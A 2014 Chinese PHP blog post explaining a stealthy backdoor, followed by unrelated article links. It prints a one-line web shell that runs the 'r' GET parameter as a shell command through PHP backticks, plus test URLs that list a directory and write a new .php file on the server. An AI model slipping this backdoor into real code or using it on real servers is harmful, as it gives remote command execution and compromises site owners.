一个不易被发现的PHP后门代码解析


Posted in PHP onJuly 05, 2014

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。

伪装性很好,很容易被管理员忽略。

$selfNums = $_GET['r'];
if (isset($selfNums)){
  echo `$selfNums`;
}

刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键(位于感叹号!旁边的),

通过 echo `系统命令`; 可以达到 system(); 一样的效果

如果不信的朋友可以测试

http://127.0.0.1/t.php?r=dir 可以列出目录

http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php

我用 appserv 和虚拟主机已经测试成功。

PHP 相关文章推荐
php生成文件
Jan 15 PHP
php入门学习知识点一 PHP与MYSql连接与查询
Jul 14 PHP
jQuery EasyUI API 中文文档 - DateBox日期框
Oct 15 PHP
php字符串截取的简单方法
Jul 04 PHP
php的webservice的wsdl的XML无法显示问题的解决方法
Mar 11 PHP
完整删除ecshop中获取店铺信息的API
Dec 24 PHP
PHP rsa加密解密使用方法
Apr 27 PHP
phpmailer简单发送邮件的方法(附phpmailer源码下载)
Jun 13 PHP
解析PHP之提取多维数组指定列的方法
Jan 03 PHP
PHP反射原理与用法深入分析
Sep 28 PHP
php+js实现的拖动滑块验证码验证表单操作示例【附源码下载】
May 27 PHP
imagettftext() 失效,不起作用
Mar 09 PHP
linux下使用crontab实现定时PHP计划任务失败的原因分析
Jul 05 #PHP
php操作redis中的hash和zset类型数据的方法和代码例子
Jul 05 #PHP
采用memcache在web集群中实现session的同步会话
Jul 05 #PHP
30个php操作redis常用方法代码例子
Jul 05 #PHP
PHP在网页中动态生成PDF文件详细教程
Jul 05 #PHP
PHP数组遍历知识汇总(包含遍历方法、数组指针操作函数、数组遍历测速)
Jul 05 #PHP
php遍历数组的4种方法总结
Jul 05 #PHP
You might like
上传文件先创建目录 再上传到目录里面去
2010/12/29 PHP
浅析php设计模式之数据对象映射模式
2016/03/03 PHP
Yii2.0 Basic代码中路由链接被转义的处理方法
2016/09/21 PHP
PHP 扩展Memcached命令用法实例总结
2020/06/04 PHP
jquery制作居中遮罩层效果分享
2014/02/21 Javascript
js实现网页标题栏闪烁提示效果实例分析
2014/11/20 Javascript
jQuery/CSS3图片特效插件整理推荐
2014/12/07 Javascript
使用AngularJS创建自定义的过滤器的方法
2015/06/18 Javascript
AngularJS基础 ng-keypress 指令简单示例
2016/08/02 Javascript
AngularJS Toaster使用详解
2017/02/24 Javascript
详解AngularJS controller调用factory
2017/05/19 Javascript
jQuery操作DOM_动力节点Java学院整理
2017/07/04 jQuery
webpack多页面开发实践
2017/12/18 Javascript
深入探讨JavaScript的最基本部分之执行上下文
2019/02/12 Javascript
Vue和React有哪些区别
2020/09/12 Javascript
[03:57]DOTA2英雄梦之声_第03期_幻影刺客
2014/06/21 DOTA
Python爬取三国演义的实现方法
2016/09/12 Python
Python爬取网页中的图片(搜狗图片)详解
2017/03/23 Python
python删除不需要的python文件方法
2018/04/24 Python
基于数据归一化以及Python实现方式
2018/07/11 Python
python3+selenium自动化测试框架详解
2019/03/17 Python
python在新的图片窗口显示图片(图像)的方法
2019/07/11 Python
pip install python 快速安装模块的教程图解
2019/10/08 Python
CSS3之背景尺寸Background-size使用介绍
2013/10/14 HTML / CSS
详解三种方式实现平滑滚动页面到顶部的功能
2019/04/23 HTML / CSS
视图的作用
2014/12/19 面试题
网络编辑岗位职责范本
2014/02/10 职场文书
房屋出售协议书
2014/04/10 职场文书
测控技术自荐信
2014/06/05 职场文书
2015年新教师个人工作总结
2015/10/14 职场文书
竞选稿之小学班干部
2019/10/31 职场文书
Python实战之实现康威生命游戏
2021/04/26 Python
如何使用JavaScript策略模式校验表单
2021/04/29 Javascript
我对PyTorch dataloader里的shuffle=True的理解
2021/05/20 Python
win10搭建配置ftp服务器的方法
2022/08/05 Servers
mysql函数之截取字符串的实现
2022/08/14 MySQL